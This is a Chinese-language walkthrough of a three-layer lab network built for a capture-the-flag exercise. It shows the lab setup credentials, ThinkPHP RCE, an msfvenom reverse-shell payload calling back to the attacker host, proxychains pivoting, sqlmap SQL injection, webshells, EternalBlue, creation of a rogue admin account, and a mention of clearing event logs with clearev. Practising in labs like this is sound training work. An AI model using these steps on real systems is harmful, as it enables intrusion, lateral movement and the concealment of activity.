目录
一、靶场框架
靶场搭建:
二、渗透过程
三、总结
靶场介绍:
三层内网靶场,共有三个网段,分别为75网段(公网网段)、22网段(内网)、33网段(内网)
靶场由三台服务器构成分别为Target1、Target2、Target3,其系统分别是centos、Ubuntu、Windows7。Target1搭载VMnet4和NAT网卡、Target2搭载VMnet9和VMnet10网卡、Target3仅搭载VMnet10网卡。
通过搭建三层内网靶场,来模拟生产环境中外网服务器、内网服务器以及内网办公环境间的关系。
使用搭载了VMnet4网卡的kali模拟攻击者从外网信息收集,得到网站信息,利用网站漏洞夺取外网服务器权限,又将失陷的外网服务器作为跳板机,通过代理的方式访问到了内网服务器,然后通过内网服务器网站的漏洞,再一次夺取权限并建立二次代理以后,到达内网办公环境,最后利用主机所存在的漏洞,获得内网主机权限的渗透流程。
关于代理方面,可以用msf自带的代理工具也可以用一些其他的,万变不离其宗,下一篇文章会讲述EarthWorm代理工具的使用,实测,该工具相对于msf自带的工具较为稳定,不会在扫描的时候把主机扫挂了!
靶场框架:
借图一用,懒得去画了,这边更改一下ip地址
kali:192.168.75.44
target1:192.168.75.132
192.168.22.130
target2:192.168.22.131
192.168.33.130
target3:192.168.33.131
靶场搭建:
靶机在最初配置的时候要开启web服务:
centos:
root密码:teamssix.com宝塔后台登陆地址及密码:
地址:http://target1ip:8888/a768f109/
账号:eaj3yhsl
密码:41bb8fee在站点配置中,将target1ip填入其中
ubuntu:
root密码:teamssix.com宝塔后台登陆地址及密码:
地址:http://target2ip:8888/2cc52ec0/
账号:xdynr37d
密码:123qwe..windows 7:
Administrator密码:teamssix.com
此主机的IP地址:192.168.33.131
这边看一下虚拟机网段的设置,添加3个网络,vm4/vm9/vm10,网段如下
Kali攻击机的网段进行设置:
Target1的网段进行设置:
Target2的网段进行设置:
Target3的网段进行设置:
查看kali网段,设置无误,111是nat网段,出网用的
查看Target1网段,设置无误,75是公网网段,22是内网网段
查看Target2网段,设置无误,22是内网网段,33是另一个内网网段
查看Target3网段,设置无误,33是内网网段
接下来配置一下Target1的web端服务
将Target的ip添加进去,即可完成
Target2的web服务一样!
到此,所有靶机的配置就完成了,下面开始进行渗透!
渗透过程:
kali查看靶机ip地址,192.168.75.132
对其进行端口扫描,发现21、22、80、888、3306、8888端口
21、22都可暴力破解,可以自己去尝试!这边访问80端口,发现框架是ThinkPHP V5,版本是5.0这个版本是存在RCE漏洞的,等会用个小工具进行一波检测!
先进行一波目录爆破,看看有没有什么敏感文件,这里扫出个robots.txt
访问,发现flag1
flag{QeaRqaw12fs}
利用这个ThinkPHP的小工具检测一下是否有相关的漏洞,发现确实存在RCE。
选择对应的版本GetShell
用中国蚁剑连接,发现了flag2
flag{e2D3aFdasde}
将shell返回给msf,生成一个远控,反向的!反向的意思是,我这边开个端口,让受害者,运行我们的远控后,主动连接我这边开的端口。后面还有正向操作。
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.75.44 lport=4455 -f elf>xiao.elf
生成好了,在蚁剑里上传文件后并将其赋权
kali本地开启msf,设置监听和payload,以及刚才远控中设置的端口,ip等
设置好了之后,执行,即可连接到kali,获取meterpreter!
然后执行建立shell,运行相关命令查看当前拿下的靶机的ip,发现了是双网卡,另一个是22网段
也可以在meterpreter中使用run get_local_subnets获取网段
并将该网段添加到路由中
使用msf的Auxiliary辅助探测模块,设置代理,设置端口等
在本地修改代理的端口等vim /etc/proxychains4.conf
然后就可以利用代理在本地去扫描22网段的主机端口了!
这边发现了22网段也有很多端口开放,用curl访问80端口,回弹了它的源代码
并且发现了提示!这个路径下有sql注入!
首先想要访问22端口的web服务,得现在浏览器里设置代理,将那会在本地设置的代理,填写到下方,并确定,之后就可以访问了。
是一个BageCMS框架
对其目录爆破,查看敏感文件,发现robots.txt
访问后看到了两个路径!
输入url,找到了后台,不知登录和密码,那会说有个路径存在sql注入,那么就直接利用sql注入将用户名和密码爆出来!
这边可以手注,更稳定一些,利用那个代理,有可能会扫挂了,又得重新整,比较稳定的就是用ew进行代理,后一篇去讲,其实我这里就是用的ew挂代理,sqlmap才用的如此丝滑!
注出来了数据库名,下面就是日常操作,就不细写了
最后得到了用户名admin和密码123qwe
登录后得到了第三个flag!
浏览了一圈发现这个模板里可以修改php文件,那就直接写上一句话,获取webshell
同时,蚁剑也要设置好代理,就可以连接到了
关于这个路径,很简单,观察一下它的构造,r=是在访问模块,那这边直接访问tag,就直接访问到index.php了
连接成功后,在蚁剑中发现了33网段,那就将webshell转至msf
同样的操作,但是这边需要进行正向操作了,正向使用的是bind_tcp
正向代理:说白了是在已控服务器开启监听端口,通过这个端口形成一个正向隧道,由代理主机去访问,代理主机去连接,注意,内网入口一般处于DMZ区域,有防火墙拦截,无法直接进入内网环境!
反向代理:就是由内网主机主动的连接代理机器,然后攻击机去连接代理,形成一种反向代理,例如用VPS监听本地端口,让已控的内网服务器去连接这个端口,形成隧道。
这边做一个了解就好,同样,上传,赋权,执行
使用proxychains4 msfconsole开启msf,之前的msf不可以关,还挂着呢,新开这个去获取target2的shell
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set LPORT 6666
set RHOST 192.168.22.131
同样的操作,在meterpreter获取网段,添加路由等等操作,直接上图!
将新开的代理端口写入proxychains4中,然后再开一个新的msf,用来获取target3的shell
首先,对第三个靶机进行扫描,发现了445,139那就永恒之蓝打一波
先检测一下是否存在,设置好了
发现可能存在,那就直接冲!
经过exploit、payload的设置后,直接run
好极了,获取了meterpreter,进行shell,出现乱码,输入chcp 65001修改他的编码格式,乱码修复了
直接不用提权,就是system了,查看开放的端口,发现了3389,远程桌面连接,好极了!
新建一个用户,并将其发到管理员组
Windows端开启mstsc,输入用户名和密码还有ip地址,开启远程桌面
好嘛,啥玩意都没得,算了,还是修改一下administrator的密码,重新连!
OKK!
flag就在桌面上,香香了!
flag{2wAdK32Lsd}
总体的渗透就此结束,最后还可以在meterpreter中clearev清楚事件日志,嘿嘿,这就没得必要了
总结:
- 首先在信息收集的时候要逐步的清晰这个目标的网络拓扑
- 其次,要不断地思考目标之间的转换,利用拿下的目标当作跳板,不断地深入渗透
- 通过本次靶场,对于代理的理解逐步加深
- 总结回想整个渗透过程所踩过的坑,亲手去做,才能遇到问题,思考问题,解决问题,从而理解问题所在。例如,在获取meterpreter的时候存在无法反弹,session关闭,代理挂了等问题。
- 最后,保持好奇心,坚持去做!
需要渗透过程中的小工具,可以私信我!嘿嘿,助人为快乐之本!